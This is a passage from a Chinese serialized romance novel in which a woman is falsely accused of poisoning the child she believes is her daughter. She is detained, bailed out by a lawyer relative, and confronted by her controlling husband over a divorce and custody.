这一切在我脑海中反复盘旋,我麻木地朝外走去。
就在
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这时,朵朵的声音从身后传来:“叶阿姨,你明天还来吗?”
我回过头,顾时序和苏雅欣脸上明显的不悦和意外。
而朵朵正用那双又黑又亮的眼睛望着我。
我鼻尖一酸,用力点点头,“朵朵明天想吃什么?”
“都可以!”朵朵笑眯眯地说:“叶阿姨做的蛋糕好好吃,饭菜也好好吃!”
这一刻,我第一次体会到了母女连心的温暖。
这里所有人都是冷的,只有朵朵,给了我一束光。
“好,阿姨明天给我朵朵做更好吃的。”
我深深地看了小姑娘一眼,这才离开。
……
一连三天,我每天都换着花样儿地给朵朵做些开胃的饭菜,也会给她做各种各样的饼干和蛋糕。
每顿饭她都吃得很开心,看到她食欲渐渐好了,指标也完全恢复正常,我的心渐渐放了下来。
而我回家后,完成了这次幼儿园学生集体**事件的初稿,发给了孟云初。
她道:“这个新闻是你追踪的,我署名你的名字吧。”
“都可以,无所谓的。”
我是真的随便。毕竟,这次我帮她做新闻的主要目的,是为了得到朵朵的最新消息。
可孟云初却道:“这新闻必须给你,是你做的,我不会占你功劳。”
她这人就这样,虽然斤斤计较,但也公私分明。
我笑了笑,道:“那好吧,你看着办。”
“昭昭,你……又准备回去做全职太太了吗?”孟云初语气里充满了担忧:“是不是觉得外面的职场不好混?所以……还是决定妥协了?”
我失笑道:“如果是这样呢?”
孟云初顿了半天,道:“如果是这样,那我真瞧不起你!我原以为,我们应该是一样的狼,在职场上厮杀!没想到,你这才出来多久,就又回去了!”
我不禁感到一阵暖意,解释道:“放心吧,我跟你一样,认清了渣男,就不会再回头。只不过我现在,有了别的奋斗方向,也挺忙的。所以,才暂时把工作搁置了。”
“别的奋斗方向?”她好奇地问:“是跟新闻有关吗?你大学时候专业成绩这么好,要是不做新闻,真可惜了。”
我道:“跟新闻没什么关系,等以后做成熟了,再跟你说吧!”
孟云初抛来橄榄枝:“要不,你来我现在这个公司吧!这边虽然卷了点,但人际关系没有之前那家公司复杂。我还挺想跟你继续做战友的!”
我虽然很想做新闻,但想到年底之前要更新完小说的上半部分,便道:“明年再说吧。如果你有什么需要我帮忙的地方,我倒愿意像这次一样,偶尔跟你当一回战友。”
“昭昭,有你这句话,我相信我们以后,还会并肩作战的!”
孟云初声音斗志昂扬的。
在离职这么久之后,我的名字重新出现在了新的新闻热点上。
评论区里大部分都是在抨击这家幼儿园的恶劣,但竟然有几个评论是在说我。
“这个不就是之前挖出很多猛料的新闻记者吗?”
“对对对,就是她!当初她挖到了苏启明学术**,还被苏雅欣和她妈陷害呢!”
“我还以为她得罪了大人物被雪藏了,没想到又出了继续做新闻了。真好!”
“……”
看到这些评论,我眼眶发热。
没想到竟然还有人记得我是新闻记者叶昭昭。
这时,我接到了姜家的电话。
“昭昭啊,外公看到你新出的新闻了!真是不错,言语精准犀利,这样的文化素养,绝不是那些戏子能比的!”
外公声音爽朗,笑呵呵地说:“对了,晚上来外公这儿,全家一起吃个饭。给你庆祝庆祝!”
我犹豫着想拒绝。
毕竟,这个“全家”,除了外公、外婆对我释放了些许善意,其他人,似乎并不适合坐在一起吃饭。
正准备拒绝,外公说道:“放心,你婆婆她不来,我也烦她整日唠唠叨叨的。时序也不来,听说是朵朵不舒服,要人陪着。只有你小舅舅来!外公想着,家里太冷清,你来了,好歹能说说话,多点人气。”
我微微一怔,沈宴州今晚要过去?
想到那日我打出去的微信电话和发出的道歉信息全都石沉大海,我还是觉得当面解释一下比较好。
毕竟,这个小舅舅如今也算是我小说的金主爸爸。
第85章 两个男人的修罗场
为了能跟沈宴州当面道歉,我答应了外公,傍晚时分去了姜家。
我在玄关处换好鞋子,抬眼就看见沈宴州坐在客厅沙发上。
他一手搭在沙发扶手,很松弛地在看杂志。
墨色衬衫袖口卷到手肘,露出线条利落的小臂。
我走近他时,男人镜片下的视线淡淡扫过来,没什么温度。
他这样的状态,让我几乎不敢相信那日他会主动发我微信,让我去应酬。
沈宴州没有开口的意思,我站在他对面尴尬地打破了这种奇怪的氛围:“外公外婆呢?”
“在厨房。”
沈宴州惜字如金。
对话再次尴尬的停滞。
而他往沙发边上挪了挪,似乎在示意我坐下。
我硬着头皮坐他旁边,指尖无意识绞着包带,终于开口:“小舅舅,那天的应酬我不是故意爽约的。我女儿在幼儿园食物**了,我才……”
他沉沉地看着我,道:“我这辈子,还是第一次被人放鸽子。”
“额……”
我脸颊发烫,指尖蜷了蜷,小声道:“我知道,您作为这部剧的投资商和金主,我这么做的确很失礼,我……”
“金主?”他重复着这两个字,眉宇微皱,身体微微往我这边移了下,膝盖几乎要碰到我的腿。
我呼吸瞬间一滞,忙站起身来。
看到我眼中的警惕,沈宴州面无表情地说:“你不用多想。一般情况下,我对公司旗下的传媒公司,是没有任何兴趣的。那天之所以想见你一面,不过是因为奶奶喜欢看你这部小说,急着知道后面的情节。”
我似懂非懂的点点头,小心翼翼地问:“那……您不怪我那天爽约了吧?”
“你说呢?”
沈宴州冷声道:“要是道歉管用,还要警察做什么?”
就在这时,厨房传来外婆喊吃饭的声音。
他站起身,淡淡丢下一句:“饭凉了,就不好吃了。”
我望着他走向餐厅的背影,有点后悔来这一趟了。
不仅没有征求金主的原谅,反而一会儿吃饭的时候,还得继续忍受拘束和别扭。
我也跟着去了餐厅。
姜伯文心情似乎很好,笑呵呵地说:“宴州啊,今天的饭菜,都是你母亲亲自做的。”
沈宴州望着一桌子饭菜有些恍惚,但看起来,好像并不感动,也不惊喜。
程冬青微微叹了口气,道:“我记得你小时候喜欢吃这些的。不知道现在……口味有没有变?”
“谢谢妈。”
沈宴州看似很勉强地道了谢,在姜伯文和程冬青都坐下之后,他才坐下。
餐桌上,姜伯文提起我写的新闻,赞赏地说:“现在能沉下心来的年轻人不多了,你这股子认真劲儿,早晚会闯出一番天地的。”
说到这儿,他连连叹气:“就是可惜了,你嫁给了时序这个混账小子!原先,大家都说你配不上他。要我看,那是他配不上你!”
程冬青轻声开口道:“好了,人家长辈都是劝和不劝分的,你倒好,跟别人反着来!昭昭和时序小两口还年轻,起点摩擦在所难免。别忘了,昭昭当年为了嫁给时序,顶了多大的压力啊!现在都结婚这么多年了,难不成,你真劝人家离婚不成?”
我捏着筷子的指尖泛白,总觉得一束冷冷的目光在我身上打量了一番。
可当我抬起头,沈宴州只是低头安静地吃饭,姜伯文和程冬青爱怜地望着我。
“外公外婆,你们不用为我们小辈的事情劳心伤神了。”
我岔开话题,问:“外婆,您现在身体怎么样了?好点了吗?”
程冬青捂着心口咳嗽了几声,道:“还是老样子。”
沈宴州见状,道:“妈,我扶您上去休息吧。”
“好。”
程冬青脸色是病态的苍白,临走时,还不忘对我道:“昭昭,你们吃你们的。我上去歇会儿。”
望着他们母子的背影,外公脸上一片惆怅和悲伤。
我忍不住开口安慰:“外公,现在医疗技术这么发达,外婆一定会没事的。”
“哎,发现的时候,就是晚期了……”
姜伯文连声叹气,道:“幸好宴州是个外冷内热的人,在最后这段时间,愿意经常来陪你外婆。否则,这会是你外婆一辈子的遗憾。”
我们正说着话,佣人突然进来,紧张地说:“老爷,时序少爷来了。还……还带了个女人,好像是苏雅欣,两人来势汹汹的。”
话音刚落,顾时序已经快步走了进来,脸色铁青,身上的戾气几乎要溢出来。
他身后跟着妆容精致的苏雅欣。
外公蹙眉道:“时序,你疯了么?谁让你把她带到我这儿的?”
顾时序没有理会外公,他目光像淬了冰,死死钉在我身上。
我莫名其妙地看着他,问:“你来这儿干什么?”
他走过来,一把攥住我的手腕,力道大得像是要捏碎我的骨头,一字一句地问:“你给朵朵吃了什么?”
我心跳一窒,立刻道:“和平时一样的饭菜,有问题吗?”
顾时序眼底翻涌着怒火,道:“朵朵中午吃了你送的饭菜,从下午开始就一直拉肚子,现在还在医院挂水!你到底在里面放了什么?你就这么容不下她?”
“我没有!”
我又惊又急,声音都在发颤,“我做的饭菜都很干净,用的食材也都是新鲜的。怎么可能有问题?”
一旁的苏雅欣道:“叶小姐,你还是承认了吧?饭菜已经送去化验了,你赖不掉的。”
外公突然一拍桌子,指着苏雅欣道:“你给我闭嘴!这里是什么地方,也有你说话的份儿吗?”
说完,他拐杖重重地砸在地板上,怒斥道:“时序,你现在立刻放开昭昭。你眼里还有没有我这个长辈?带着个不清不楚的女人闯到我这里来撒野,是不是想把我给气死!”
顾时序没有松开我,像是抓一个犯人,一松手就怕我逃跑似的。
气得外公直接过去动手想把他拉开。
可顾时序直接拽着我的胳膊将我甩到他身后,语气带着不容置疑的强硬,“外公,朵朵是我的命,我不能容忍任何人伤害她。她现在还在医院受苦,我必须查清楚真相。”
“你混帐!”
外公道:“昭昭是新闻记者,她做的一切都是伸张正义的事。这样的丫头,怎么可能会害一个小孩子?我看,是些心术不正的人,贼喊捉贼才对!”
苏雅欣一副委屈的样子,小声道:“外公,您是在说我吗?我们第一次见面,您还不了解我。以后,您就会知道,我不是您说的那种兴风作浪的女人。而叶小姐已经不是第一次害朵朵了,上次,她还害朵朵过敏,她……”
话未说完,姜伯文直接拿过一旁的茶盏往她身上扔了过去。
苏雅欣吓得尖叫,虽然躲开了,但还是溅了不少茶水在身上。
姜伯文道:“你现在立刻滚出我姜家!”
苏雅欣似乎根本不怕老爷子,而是楚楚可怜地望着顾时序道:“时序哥,我们还是赶紧带叶小姐去警局解释清楚吧!”
我觉得去警局当面锣对面鼓的说清楚也好,至少,我不必蒙受这不白之冤。
可外公怒目圆睁,斥责道:“你这混账小子,你报了警?昭昭是你妻子啊!你居然报警!”
顾时序看向我的眼神冰冷刺骨,道:“对,任何伤害我女儿的人,都只有这一个下场。叶昭昭现在必须跟我去警局,当着警察的面解释清楚!”
说完,他拉着我就往外拖,谁都拦不住。
我手腕被他攥得生疼,无论如何都挣脱不开。
就在这时,身后传来一个低沉冷冽的声音:“站住!”
顾时序硬生生停住脚步,不可思议地望向身后。
沈宴州迈着修长的腿从楼上下来,淡定从容地走到我们面前。
顾时序蹙眉看着他,厉声道:“沈先生,不要觉得你现在来我外公家,莫名其妙做了个什么舅舅,就能管我的事!我的家事,还轮不到你插手。”
他话说得难听,姜伯文生怕沈宴州生气,只能一个劲儿地骂顾时序,让他住嘴。
可沈宴州并没有任何生气的样子,平静从容地开口:“顾总,你太太不会伤害你女儿的。因为早在一个星期前,她就来找过我,让我帮她个忙。”
我心一惊,猛地抬头看向沈宴州。
难道,他要告诉顾时序那件事?
顾时序见我这样的反应,追问道:“沈宴州,你把话说清楚!”
沈宴州嘴角噙着一抹弧度,一字一句地道:“你太太让我帮忙查一下朵朵的身份,她笃定朵朵是她的女儿。所以,想让我帮忙给她们做个亲子鉴定。既然她如此笃定朵朵是她的亲生女儿,又怎么可能会害自己的孩子?”
他每说一个字,顾时序的脸上就仿佛龟裂出一道缝。
直到沈宴州说完,顾时序早已满脸惊愕,抓着我的那只手,好像越来越无力了。
我赶忙把手抽了出来。
顾时序不再质问我,可沈宴州似乎还不打算放过他。
“顾总,既然话已经说到这份儿上了,不如你给我们一个答案。朵朵究竟是不是你太太的亲生女儿?”
沈宴州似笑非笑地望着他,道:“你太太看起来挺
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怕你的,一直不敢当面问你。那我替她问一句,顾总莫非真有什么秘密,不好说出口?”
姜伯文听了,一头雾水:“什么意思?顾时序你给我解释清楚,朵朵为什么会是昭昭的亲生女儿?当年那个孩子,不……不是已经夭折了吗?”
我静静地看着顾时序那张仿佛冰冻住的脸。
说实话,我挺感激沈宴州的。
一直以来,我都在偷偷调查,生怕被顾时序发现,让我再也见不到朵朵。
可现在,沈宴州就这么说了出来,我反而有种如释重负的感觉。
顾时序被这么多人盯着,脸色青一阵白一阵。
他攥着拳头的指节泛白,喉结滚动了好几下才哑声道:“沈宴州,这是我和她之间的事,轮不到你一个外人指手画脚!我没必要告诉你答案!”
我道:“好,既然是我跟你之间的事,那我总有权力知道真相。顾时序,你告诉我一句实话,朵朵究竟是不是当年我们那个‘夭折’的孩子?”
顾时序沉默许久,冷冷说了两个字:“不是。”
只可惜,这两个实在是太缺乏信服力。
外公索性用拐杖指着一脸慌张的苏雅欣,道:“你说!你养了朵朵这么多年,她是不是你生的,你最清楚!”
就在这时,两名警察突然走了进来,目光扫过客厅,最后落在我身上:“哪位是叶昭昭女士?有人报警称你涉嫌故意伤害儿童,请跟我们回警局配合调查。”
我心头一紧,顾时序也皱起眉,转头看向苏雅欣。
苏雅欣立刻楚楚可怜地开口:“时序哥,我……我实在太担心朵朵了,怕叶小姐畏罪潜逃,就又打了个电话催了催警察……”
姜伯文连忙上前对警察道:“警察先生,这是一场误会。我们撤销报警,没事了已经。”
苏雅欣却道:“外公,至少我现在是朵朵的监护人,我必须保证我女儿的安全。叶小姐还是去警局解释清楚比较好,我不能撤销报警。”
顾时序的脸色沉了几分,却没说什么阻拦的话,任由警察将我带走。
我目光掠过他冷漠的侧脸,终于明白,我和顾时序为何会走到如今这般地步?
……
拘留室的灯光惨白刺眼,我坐在冰冷的椅子上,听着对面警察的问话。
“叶女士,根据化验结果,你送去的饭菜里含有过量导致肝肾**的成分。你最好老实交代,为什么要这么做?”
“我没有。”
经过一路的思考,我已经十分冷静,“那些食材都是新鲜的,都是我当天去超市买的,怎么可能有毒?而且,这饭菜也不是经过我一个人手。我中午把饭菜送到顾氏庄园之后,难道,它没经过别人的手?总不能这么武断地断定是我下毒害朵朵吧?”
警察语气严肃起来,道:“苏小姐说你和顾先生,你们三个之间有感情纠葛,一直怨恨孩子。只有你最有动机做这件事,你有什么辩解的吗?”
“她胡说!你们可以调查一下,谁是顾时序的太太,谁是我们婚姻中的第三者!”
我拼命让自己保持冷静,眼泪还是控制不住地涌了出来,“朵朵是我的亲生女儿!是顾时序把她从我身边抢走,送给了苏雅欣!他骗了所有人!你们可以去做亲子鉴定!”
警察似乎也震惊于我这个答案,他们神色复杂地看着我,道:“叶女士,你现在情绪不太稳定,先冷静一下吧。”
厚重的铁门“哐当”一声落锁,我被带进了一个阴暗湿冷的小房间里。
潮湿的霉味钻进鼻腔,像极了我和顾时序这四年的婚姻。
夜里的寒气丝丝缕缕缠上我身体,我双臂紧紧环住膝盖,绝望而无力地蹲在墙角。
苏雅欣现在是想尽一切办法,挖空心思的要将我置于死地。
甚至不惜利用朵朵的生命。
可我的女儿,她才经历了食物**的折磨,现在又成了苏雅欣手里的棋子,被用来对付我这个亲妈。
一想到她可能还在医院难受,甚至还会被那个女人灌输些恶毒的思想,我的心就像被一只无形的手狠狠攥住,疼得喘不过气。
我必须要把朵朵的抚养权拿回来!
再让她留在顾时序和苏雅欣身边,天知道往后还会有多少算计等着她?
不知过了多久,外面传来脚步声。
铁门被打开,警察的态度恭敬:“沈先生,人就在里面。”
我不可置信地望向门口。
沈宴州穿着黑色大衣,身姿挺拔,在一个警察的陪伴下,站在关我的房间门口。
他目光扫过蜷缩在墙角的我,眉头几不可察地蹙了一下。
第86章 跟谁走,你选一个!
他看了我几秒钟之后,对身旁的警察道:“刘局,麻烦了。”
被称作刘局的人立刻换上一副和蔼的笑容,对我很客气:“叶女士,沈先生已经为您办好了保释手续,您可以走了。这中间确实有点误会,让您受委屈了。”
我指尖抠着墙角的裂缝,想站起来。
可双腿早就麻得没了知觉,稍微一动,整个人晃了晃,又跌坐回去。
窘迫感瞬间涌了上来,我脸颊发烫,试图再一次站起来。
就在这时,一只骨节分明的手伸到我眼前。
沈宴州半蹲下身,微敛的睫毛遮住了他眼底的情绪,只低低地说:“把手给我。”
刘局在一旁识趣地转了头,假装整理袖口。
我迟疑了一下伸出手,指尖刚触到他的掌心,就被他稳稳握住。
他稍一用力,我被拉得站了起来。
刚才两只腿蹲得太麻了,猛地一起身,我踉跄了一下,差点栽进他怀里。
沈宴州顺势扶了我一把,掌心贴在我的腰侧,低声叮嘱了一句:“站稳了。”
我应了声,他这才松开手,转身对刘局道,“那我就把人带走了。”
“好嘞,您慢走。”
刘局笑着跟他打招呼。
我跟在沈宴州身后走出拘留所,冬夜里的风带着刺骨的凉意扑在脸上,我却莫名觉得安心。
快走到他车旁时,我停下脚步,感激地说:“小舅舅,今天麻烦你了,我自己打车回去就好。”
沈宴州没说话,只是拉开了副驾驶的车门,目光平静地看着我。
就在这时,刺耳的刹车声响起,一辆黑色迈巴赫猛地停在我面前。
顾时序带着两个西装革履的男人下了车,我一眼就认出了这是顾氏集团的御用律师。
看到站在沈宴州车旁的我,他明显愣了一下,随即脸色沉了下来。
他快步走过来,伸手想拉住我,道:“跟我走。”
我下意识后退一步,避开了他的触碰。
顾时序的手僵在半空,眼神瞬间变得锐利,转头看向沈宴州。
“舅舅还真是喜欢多管闲事,我太太我自然会保出来,您这大晚上的瞎忙什么?”
沈宴州站在副驾驶开着的车门前,嘴角勾起一抹嘲讽:“顾总先把自己太太送进拘留所,再带着律师把她弄出来。我有点看不懂你这番操作了,这么大的人了,还喜欢玩过家家?”
顾时序脸色铁青,深吸一口气,转向我,语气带着一抹克制:“你究竟跟不跟我走?”
我没看他,也没说话,径直弯腰坐进了沈宴州的车里。
车门关上的瞬间,隔绝了外面的剑拔**张。
沈宴州从另一侧进了驾驶座,车子驶离后,他淡淡开口:“是老爷子拜托我一定要保你出来。现在,我带你回姜家,算是给老爷子一个交代。”
我垂眸,轻声应道:“好。”
原来,是外公让他来救我的。
想想也是,沈宴州这样的大忙人,跟我非亲非故,我还没那么大面子劳驾他。
想到今天发生的一切,我开口道:“谢谢小舅舅不计前嫌原谅了我爽约的事。也谢谢您今天在外公家,帮我问出了我最想问的事。”
他目光平视着前方的路况,漫不经心地问我:“你确定要跟顾时序离婚?”
他冷不丁地问这一句,我差点没反应过来,随即,我坚定地说:“嗯,离婚。”
沈宴州轻笑了声,道:“你都要跟他离婚了,我算你哪门子舅舅?”
我脸涨得通红,也不知道他是什么意思?
我只好给自己找了台阶下,“外公……外公他比较喜欢有礼貌的晚辈。”
“那就在你外公面前有礼貌就得了。”
沈宴州黑沉的眸子扫了我一眼,道:“我可不想多个你那么大的外甥女,麻烦。”
我微微一怔,试探着问:“那我在外面就叫你……沈先生?沈律师?”
“随便。”
他淡声道:“反正别一口一个舅舅,叫得我头皮发麻。”
我被他这话搞得很无语,目光落在膝盖上,垂着脑袋应了声。
半小时后。
车子稳稳停在姜家老宅门口,雕花大门内透出暖黄的光。
大概是刚才在拘留所时被冻着了,现在浑身有点冷。
下车时,我忍不住打了个喷嚏,沈宴州眸光从我身上扫过,径直往别墅里走去。
外公外婆早已等在客厅。
“回来了!”外婆言语激动,道:“我就知道,宴州肯定有办法把人弄出来的。”
外公点点头,关心地问我:“你在里面没受委屈吧?”
他们的嘘寒问暖仿佛驱散了我周身的寒气。
外婆笑眯眯地说:“我让人给你们准备了房间。今晚你们都别走了,先住下吧,明天再说明天的事。”
我现在有点低烧,身子又酸又痛,折腾了这么久,我只想先好好睡一觉。
所以,我没有客气,跟外婆道了谢。
沈宴州似乎并不想留在这儿,对外婆道:“妈,我先回了,奶奶一个人在家我不放心。”
“可现在已经一点多了。”
外婆期期艾艾的看着儿子,道:“就留下住一晚,不行么?”
终究,沈宴州还是没忍心拒绝身患重病的母亲,留了下来。
外公格外高兴,道:“真好!这么大一个家,总算不是我跟你外婆两个人了!来,我带你们上去。”
二楼有五六间客房,我跟沈宴州住的房间刚好是挨着的。
但我们从上楼直到进屋,都没有过任何沟通。
回到房间,我赶紧洗了个热水澡,满身的酸痛终于缓解了一些。
这时,门被敲响。
佣人端着一个白瓷碗进来,“姜小姐,这是刚才沈先生吩咐我们送来的。”
我微微怔了下,接过碗,掌心立刻被暖意包裹。
这碗姜汤熬得恰到好处,不烫口,甜度也刚好压过姜的辛辣。
就像沈宴州这个人,明明看着疏冷,却偏在这种细枝末节处,藏着说不清道不明的温暖。
……
不知是因为姜汤的缘故,还是我好好休息了一整夜。
翌日起床时,我身上的酸痛感悉数消失,人也恢复了精气神儿。
下楼时,外公在外面打太极拳,外婆虽然气色不太好,但还是很贤惠的跟佣人一起摆放早餐。
我立刻上去帮忙。
外婆温柔的说:“昭昭,昨天吓坏了吧?要是没休息好,你再去睡会儿,现在还早。”
“我没关系,昨晚我睡的很好。”
我笑着应答,目光下意识地环顾了一下周围。
外婆似乎意识到什么,对我道:“宴州一早就走了,说是今天有重要的庭要开。”
我顿了顿,尴尬的说:“怪不得,我以为舅舅还没起床呢。”
“不会,他从小就不喜欢睡懒觉。”
外婆提起沈宴州时,眼中满是温柔。
很难想象,这样一个人,竟舍得与亲生儿子分别这么多年,把姜淑慧当作亲女儿养育。
就在这时,外面传来外公的斥责声。
我闻声赶紧出去。
原来是顾时序来了,外公正堵着门口不让他进门。
“你给我滚!”外公指着他道:“我就没你这么不忠不孝、不仁不义的外孙!昨天你刚把老婆弄进警局,今天居然还有脸过来!要不是宴州帮忙,昭昭现在还在局子里关着呢!”
顾时序沉声道:“就算沈宴州不出手,我也会把她弄出来。”
这时,他目光落在从屋里出来的我身上:“我有话跟你说,”
我点点头:“说吧!”
顾时序顿了顿,冷冷道:“我们单独谈。”
我没有挪动步子,问:“你要谈什么不能开诚布公地说?外公外婆都不是外人!还是说,你有什么难以启齿的秘密,不能被人知道?”
外公赞同的点头:“对!有什么话你现在就当着我们的面讲清楚!朵朵究竟是谁的女儿?还有,昨天朵朵是怎么吃坏肚子的?昭昭总不能平白无故受这份冤枉!”
顾时序眉头紧蹙,语气带着不容置疑的笃定:“查清楚了,是家里一个女佣。前几天因打碎了书房的古董花瓶被我训斥过,怀恨在心,才对朵朵下了手。”
我像是听到了天大的笑话,声音陡然拔高,“顾时序,这就是你调查的结果?你放任真正的凶手逍遥法外,知不知道朵朵早晚有一天会被你害死!”
“你是说雅欣?”
他像是听到了什么荒谬的事,笃定地说:“雅欣从朵朵出生起就寸步
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不离地照顾,没有人比她更疼朵朵,你没有资格怀疑她!”
“我没资格?”我深吸一口气,压下喉咙的哽咽:“如果不是你骗我,把我的女儿交给苏雅欣抚养,我才是最有资格保护她的那个人!”
顾时序的眼神猛地闪烁了一下,像是被这句话烫到,立刻道:“我只说这一次,朵朵不是你的女儿!我们的女儿刚生下来就已经**!为什么你总是不肯接受现实?”
这句话像一把生锈的钝刀,和这三年里的无数次一样,割开我无法愈合的伤口。
我喉咙发堵,格外艰难地开口道:“那你敢不敢让我跟朵朵去做亲子鉴定?”
“没必要!”他的声音又冷又硬,“我没空陪你闹,朵朵也不会陪你做这种无聊的鉴定!”
“无聊的鉴定?”
我看着他,突然笑出声,眼泪越流越凶,“那是我怀胎十月生下来的孩子!你凭什么一句‘**’就打发我?”
外公在一旁听不下去了,厉声对顾时序道:“你心里没鬼你怕什么?你那张嘴又不是鉴定报告,我们凭什么信你?”
顾时序道:“不需要你们相信。我会尽快给朵朵办理出国手续,你们以后也无须乱猜了!”
说完,他连门都没进,就往自己车里走。
我拔腿追上他,在他即将踏进车里时,将他拦住!
“顾时序,你要把朵朵送出国?她还那么小!”
顾时序语气冰冷而凉薄:“从小学着独立也没什么不好。雅欣会去陪读,照顾她。”
我攥着他的胳膊,指节因为用力而泛白,“她还不到四岁!正是需要亲人陪伴、树立三观的时候!苏雅欣跟去照顾?你是想让她把朵朵教成第二个她吗?顾时序,你清醒一点!让那种女人带朵朵,她早晚要被教废的!”
顾时序没有丝毫动摇,道:“雅欣把她带得很好。朵朵现在这么可爱懂事,全是雅欣的功劳。”
我心口像是被巨石碾过,疼得喘不过气,“她在朵朵食物里动手脚,害朵朵进医院,害我被当成凶手抓进警局,这也是她的‘功劳’?”
“我说了,那是女佣做的。”他皱紧眉头,语气里满是不耐,“出国的事我已经决定了,下周就走。”
我死死挡在车门前,“朵朵是我的女儿,我不能眼睁睁看她落入那个女人手里!”
顾时序的脸色沉得要命,他伸手想推开我,却在触到我颤抖的肩膀时顿了顿。
但也只是一瞬,终究他还是推开我,声音冷硬如铁:“叶昭昭,我警告你,不要再插手朵朵的事!”
顾时序绕过我坐进车里,引擎轰鸣着响起。
我看着车窗里他冷硬的侧脸,一股巨大的恐慌笼罩着我。
他是认真的,他真的要把朵朵带走,带到我够不到的地方,交给那个我明明知道心怀不轨的女人。
外公拄着拐杖,迈着凌乱的步伐走过来,道:“孩子,别哭,有办法呢!大不了,咱们告他!”
我不可思议地看着外公。
老爷子的意思是,告他亲外孙?
老爷子掷地有声地说:“这小子太猖狂了!以前最听我话的,没想到变成这样。要是再不他点颜色瞧瞧,他以后还不得狂上天去!”
刚才在一旁看到全程的外婆终于开口道:“这样不好吧?都是一家人,时序是淑慧唯一的儿子,也是你唯一的外孙呢!再说了,顾家在海城根基这么深,怎么是说告就能告赢的?”
外公一副胸有成竹的样子,笑了笑,道:“我现在发现了,一物降一物。你没觉得,宴州就不把时序放在眼里吗?而且,宴州是国内数一数二的名律,这事儿他肯定有办法!”
外婆脸上露出为难的神色,欲言又止。
“外公,不用麻烦舅舅了,我自己想办法。”
我连忙阻止。
毕竟,我之前求沈宴州帮忙,已经被拒绝过两次了,我不想再被他拒绝第三次。
外公语重心长地说:“昭昭,我知道你是个好孩子,不想给别人添麻烦。可现在不是讲究这些的时候,咱们得找个妥帖的人,帮着把事情搞清楚啊!宴州做事沉稳,在这方面又有经验,他是最合适的人选。”
尽管我再三阻拦,外公还是亲自去给沈宴州打了电话。
第87章 乖乖回去做顾太太
没过多久,外公打完电话,肉眼可见的落寞。
老人家深深叹了口气,道:“宴州说他最近一段时间要在国外办事,回不来。”
我心里忽然间像堵了团棉花,虽说是意料之中的答案,但这与被他当面拒绝时的失落无异。
沈宴州在国内的人脉盘根错节,就算人在千里之外,想打点一件事,不过是几个电话的功夫。
说到底,无非是他不想伸手罢了。
不过,我没什么好怨的。
我和沈宴州之间,靠着外公和沈老夫人的关系,才勉强能说上几句话,连熟稔都算不上。
这些日子,他屡次帮我,已经仁至义尽。
那些人情像一笔笔债,我连本带利都还不清,又有什么资格要求他次次都应允?
“外公,”
我望着满脸惆怅的老人,尽量让自己的声音听起来笃定,“咱不麻烦舅舅,又不是没有别的办法了。”
外公惊讶地确认道:“你有办法?你有什么办法?”
我故作轻松地说:“我先去找顾时序谈谈,或许,他刚才说的只是气话呢。”
尽管我知道,顾时序从来都是说一不二的,没人能轻易撼动他的决定。
这时,外婆插话道:“老姜,先让昭昭去试试吧!不行的话我们再插手也不迟。”
安抚好外公后,我回房给顾时序打了电话。
是孙杰接的。
顾时序似乎早已料到我会主动找他,孙杰接了电话,直接就道:“太太,顾总正在开会。您要是有事,就来公司吧。”
去顾氏集团的路上,我接到了秦律师的电话,说是我跟顾时序离婚官司的开庭时间已经定了,是这个月15号。
我感到一种莫名的轻松,再有十来天,我就解脱了。
……
一小时后,我到达顾氏集团。
为了避免上次我被前台拦住炒粉的情况发生,孙杰索性一直在楼下等我。
见我过来,他带我乘总裁专用电梯去了顶楼。
顾时序刚结束会议,西装革履的他被一群人簇拥着走出来。
看见我时,他嘴角似乎掠过一抹志在必得的弧度,然后对身边的人淡声吩咐了句“都先去忙吧”。
走廊瞬间空了。
他径直往自己办公室走去,皮鞋敲击在地面的声音令人无端心慌。
我刚跟他进去,便听到他讥诮的声音:“不是不想跟我单独说话?我还以为,你又要请我们所谓的舅舅来找我谈判呢!”
我攥紧了手,指甲掐进掌心才稳住声线:“顾时序,你知道我为什么过来找你。”
他眉峰几不可察地动了下,等待着我的下文。
“我可以净身出户,你的财产、你的股份,我什么都不要!”
我话音刚落,他一向清冷的眼底骤然掀起暗涌,层层戾气往上翻腾。
我不理解,他怎么是这个反应?
四年的婚姻,他不用付出任何代价,就能抽身而退。
难道,他不该感到高兴吗?
顾时序盯着我,目光几乎要灼穿人,“说下去!”
我抬眼直视他,逼自己忽略他眼神里的戾气,“但我有个条件!我要跟朵朵做亲子鉴定。如果她不是我的女儿,我立刻从你眼前消失,绝不纠缠。可如果她是,请你把她还给我!”
“净身出户……”
他低笑一声,反复念叨着这四个字。
随即,他沉声道:“叶昭昭,你和你哥里应外合,窃取顾氏机密,让顾氏损失惨重。你净身出户,那是活该。你没资格用这个跟我谈条件!”
我心口一窒,刚想反驳,却听他话锋一转:“不过,想做亲子鉴定也不是不行。”
他俯身逼近我,温热的呼吸洒在我额前,语气却冷得像寒冬:“回家,老老实实做顾太太。什么时候我满意了,我什么时候就让你如愿。”
“不可能。”
我声音里带着被压抑到发颤的怒意,猛地后退几步跟他拉开距离。
他毁掉了我的婚姻,夺走了我的女儿,他根本不爱我,为什么还要用这种畸形的婚姻继续折磨我?
顾时序伸手在我满是愤怒的脸上轻抚了一下,道:“考虑清楚再回答我。”
“顾时序,你想都别想!”
我胸口剧烈起伏着,死死盯着他:“就算我答应你的条件,你也未必会让我跟朵朵做亲子鉴定。你无非就是想折磨我罢了!”
顾时序黑眸沉沉地锁着我。
就在这时,门口响起敲门声。
孙杰战战兢兢地进来,埋着头道:“顾总,刚才**寄来一封传票。”
他说完,直接将装有传票的信封放在顾时序办公桌上,赶忙溜了,生怕被老板的怒火波及到。
顾时序盯着那信封几秒钟,仿佛意识到了什么,看向我。
我像是没看见他那紧紧绷着的下颌线,点头道:“没错,十二月十五号开庭。朵朵的事既然谈不拢,那就先把婚离了。跟你彻底撇清关系,对我来说,倒也算是件好事。”
顾时序的面容像是暴风雨来临前的平静,“叶昭昭,我们的婚姻,什么时候轮到你说结束?”
话音未落,他甚至没看一眼信封里的传票,几下撕碎了丢进一旁垃圾桶。
他睨着我,平静却又高高在上地说:“那天我要送朵朵去国外,没时间陪你玩离婚的游戏。
我看着他冷漠的面容,就连跟他吵架、争辩的力气都提不起来了。
多说一个字,都是浪费!
我转身走向门口。
手搭在门把上时,我顿了顿,道:“其实你去与不去,根本不会影响判决结果。”
出了他的办公室,门被重新合上。
身后传来刺耳的碎裂声,是玻璃杯砸在地上的碎响。
原来,这样清冷、漠然到极致的男人,也会有失控的时候。
